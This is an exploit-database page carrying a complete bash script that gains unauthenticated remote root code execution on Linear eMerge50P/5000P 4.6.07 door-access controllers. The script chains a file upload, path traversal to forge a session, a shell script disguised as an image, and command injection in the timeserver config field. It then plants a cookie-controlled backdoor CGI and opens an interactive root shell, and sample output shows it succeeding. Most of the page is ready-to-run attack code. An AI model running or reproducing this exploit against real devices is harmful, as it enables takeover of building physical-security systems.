Linear eMerge50P/5000P 4.6.07 Remote Code Execution

2019.11.13
Credit: Sipke Mellema
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/bin/bash # # Full remote code execution exploit for the Linear eMerge50P/5000P 4.6.07 # Including escalating to root privileges # CVE: CVE-2019-7266, CVE-2019-7267, CVE-2019-7268, CVE-2019-7269 # Advisory: https://applied-risk.com/resources/ar-2019-006 # Paper: https://applied-risk.com/resources/i-own-your-building-management-system # # This script is tested on macOS 10.13.6 # by Sipke Mellema # # usage: ./sploit.sh http://target # ########################################################################## # # $ ./sploit.sh http://192.168.1.1 # # # . . . . . # . . . . . # | |Linear eMerge50 4.6.07| | # | | | | # | |Remote code executionz| | # | | With priv escalation | | # | | Get yours today | | # | | | | | # | | Boomch | | # . . . . . # . . . . . # # # # [*] Checking connection to the target.. # [V] We can connect to the server # [*] Checking if already infected.. # [V] Target not yet infected.. # [*] Creating custom session file.. # [*] Uploading custom session file.. # [V] Session file active! # [*] Retrieving CSRF token.. # [V] CSRF_TOKEN: AI1R5ebMTZXL8Vu6RyhcTuavuaEbZvy9 # [*] Uploading file.. # [V] File successfully uploaded # [*] Writing new config.. # [V] Wrote new config, restarting device # [*] Looks good! Waiting for device to reboot.. # [V] Executing: whoami.. # [V] Username found: root # [*] Cleaning up uploaded files.. # [*] Removing fake backup file.. # [*] Removing shell script.. # [*] Files removed # # [*] If that worked, you can how execute commands via your cookie # [*] The URL is: http://192.168.1.1/cgi-bin/websrunnings.cgi # [*] Or type commands below ('quit' to quit) # # root@http://192.168.1.1$ id # uid=0(root) gid=0(root) groups=0(root) # root@http://192.168.1.1$ quit # ########################################################################## RED='\033[0;31m'; BLUE='\033[0;34m'; GREEN='\033[0;32m'; NC='\033[0m' BANNER=" \t . . . . . \t . . . . . \t| |${BLUE}Linear eMerge50 4.6.07${RED}| | \t| |${BLUE} ${RED}| | \t| |${BLUE}Remote code executionz${RED}| | \t| |${BLUE} With priv escalation ${RED}| | \t| |${BLUE} Get yours today ${RED}| | \t| |${BLUE} | ${RED}| | \t| |${BLUE} Boomch ${RED}| | \t . . . . . \t . . . . . ${NC} " printf "\n${RED}${BANNER}\n\n" function echo_green { printf "${GREEN}[*] $@${NC}\n" } function echo_blue { printf "${BLUE}[V] $@${NC}\n" } function echo_red { printf "${RED}[-] $@${NC}\n" } function show_usage { echo -en "Usage: ./sploit.sh " } # check arguments if [ $# -eq 0 ] then echo_red "Incorrect parameters" show_usage exit fi # Define global paramters VULN_HOST=$1 TEST_CMD="whoami" # ========================= Vuln 2: Session ID allows path traversal # Path traversal to session file injected as backup file SESSION_ID="../web/upload/system/backup.upg" function run_remote_shell { # shell is in the context of the lower privileged user called s2user # but the user has sudo rights # ========================= Vuln 5: Webserver runs as root TEST_CMD='' while read -p "${SPLOT_USERNAME}@${VULN_HOST}$ " TEST_CMD && [ "${TEST_CMD}" != "quit" ] ; do curl -s -k -H "Cookie: sudo $TEST_CMD" ${VULN_HOST}/cgi-bin/websrunnings.cgi echo "" done } # ========================= Pre-exploit checks # check connection echo_green "Checking connection to the target.." RESULT=`curl -sL -w "%{http_code}\\n" ${VULN_HOST} -o /dev/null --connect-timeout 3 --max-time 5` if [ "$RESULT" != "200" ] ; then echo_red "Could not connect to ${VULN_HOST} :(" ; exit fi echo_blue "We can connect to the server" # check already infected echo_green "Checking if already infected.." RESULT=`curl -sL -w "%{http_code}\\n" ${VULN_HOST}/cgi-bin/websrunnings.cgi -o /dev/null --connect-timeout 3 --max-time 5` if [ "$RESULT" == "200" ] ; then echo_blue "Target already seems to be infected" SPLOT_USERNAME=`curl -s -k -H "Cookie: sudo whoami" ${VULN_HOST}/cgi-bin/websrunnings.cgi` echo_blue "Username found: ${SPLOT_USERNAME}" read -p "Try shell directly? (Y/N)" TEST if [ "$TEST" == "Y" ] ; then echo_green "Trying direct shell.." run_remote_shell exit fi else echo_blue "Target not yet infected.." ; fi # ========================= Vuln 1: Sys update CGI script allows unauthenticated upg-file upload # Used to create file with the contents of a valid session file # Session file required a timestamp from < 3600 seconds ago # And a valid (remote) IP address echo_green "Creating custom session file.." # binary session file SESS_FILE_BIN_PRE="MzEzMzc4MDA4NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTeXN0ZW0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEFkbWluaXN0cmF0b3IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWRtaW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" SESS_FILE_BIN_POST="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAEAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQUkxUjVlYk1UWlhMOFZ1NlJ5aGNUdWF2dWFFYlp2eTkAAAAAYtPxW0o/71s=" # write session/backup file printf $SESS_FILE_BIN_PRE | base64 -D > backup.upg # write IP MY_IP=`curl -s https://api.ipify.org` printf ${MY_IP} >> backup.upg printf $SESS_FILE_BIN_POST | base64 -D >> backup.upg # replace timestamp python -c "import struct,time,sys; sys.stdout.write(struct.pack('<i',int(time.time()+(3600*5))))" | dd of=backup.upg bs=1 seek=1080 count=4 conv=notrunc 2> /dev/null # upload session as backup file echo_green "Uploading custom session file.." curl -s -F upload=@backup.upg ${VULN_HOST}/cgi-bin/uplsysupdate.cgi # check if session file works RESULT=`curl -s -w "%{http_code}\\n" --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/goform/foo -o /dev/null --connect-timeout 3 --max-time 5` if [ "$RESULT" != "200" ] ; then echo_red "Creating session file didn't seem to work :(" ; exit fi echo_blue "Session file active!" # ========================= Vuln 3: Image upload allows any file contents # We use it to upload a shell script # It will be run as root on startup # get csrf token echo_green "Retrieving CSRF token.." CSRF_TOKEN=`curl -s --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/frameset/ | grep -E -o 'csrft = "(.*)"' | awk -F '"' '{print $2}'` echo_blue "CSRF_TOKEN: $CSRF_TOKEN" if [ -z "$CSRF_TOKEN" ]; then echo_red "Could not get CSRF token :(" exit fi # prepare file # this will run as root echo "cp /usr/local/s2/web/cgi-bin/websrunning.cgi /usr/local/s2/web/cgi-bin/websrunnings.cgi" > shell.jpg echo 'sed -i '"'"'s/echo "OK"/A=\`\$HTTP_COOKIE\`;printf "\$A"/'"'"' /usr/local/s2/web/cgi-bin/websrunnings.cgi' >> shell.jpg # upload file echo_green "Uploading file.." RESULT=`curl -s --cookie ".sessionId=$SESSION_ID" \ -F "csrft=$CSRF_TOKEN" \ -F "person=31337" \ -F "file=@shell.jpg" \ ${VULN_HOST}/person/upload/ | grep -o "File successfully uploaded"` echo_blue $RESULT if [[ ! "$RESULT" =~ "successfully" ]]; then echo_red "Could not upload file :(" exit fi # ========================= Vuln 4: Config allows command injection # Length is limited # Also, no spaces allowed # change config # the file in the config file will be run as root at startup echo_green "Writing new config.." curl -s ${VULN_HOST}/goform/saveS2ConfVals --cookie ".sessionId=$SESSION_ID" --data "timeserver1=a.a%24%28bash%3C%2Fusr%2Flocal%2Fs2%2Fweb%2Fupload%2Fpics%2Fshell.jpg%29&timeserver2=&timeserver3=&timezone=America%2FChicago&save=Save&urlOk=cfgntp.asp&urlError=cfgntp.asp&okpage=cfgntp.asp" > /dev/null echo_blue "Wrote new config, restarting device" # restart device RESULT=`curl -s --cookie ".sessionId=$SESSION_ID" ${VULN_HOST}/goform/restarts2Conf --data "changeNetwork=1" | grep -o "The proxy server could not handle the request"` # this is supposed to get returned (device rebooting) if [[ "$RESULT" =~ "could not handle the request" ]]; then echo_green "Looks good! Waiting for device to reboot.." sleep 20 echo_blue "Executing: whoami.." SPLOT_USERNAME=`curl -s -k -H "Cookie: sudo whoami" ${VULN_HOST}/cgi-bin/websrunnings.cgi` echo_blue "Username found: ${SPLOT_USERNAME}" # cleanup echo_green "Cleaning up uploaded files.." echo_green "Removing fake backup file.." RESULT=`curl -s -k -H "Cookie: sudo rm /usr/local/s2/web/upload/system/backup.upg" ${VULN_HOST}/cgi-bin/websrunnings.cgi` echo_green "Removing shell script.." RESULT=`curl -s -k -H "Cookie: sudo rm /usr/local/s2/web/upload/pics/shell.jpg" ${VULN_HOST}/cgi-bin/websrunnings.cgi` echo_green "Files removed" # start shell echo "" echo_green "If that worked, you can now execute commands via your cookie" echo_green "The URL is: ${VULN_HOST}/cgi-bin/websrunnings.cgi" echo_green "Or type commands below ('quit' to quit)" echo "" run_remote_shell else echo_red "Exploit failed :(" fi exit


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top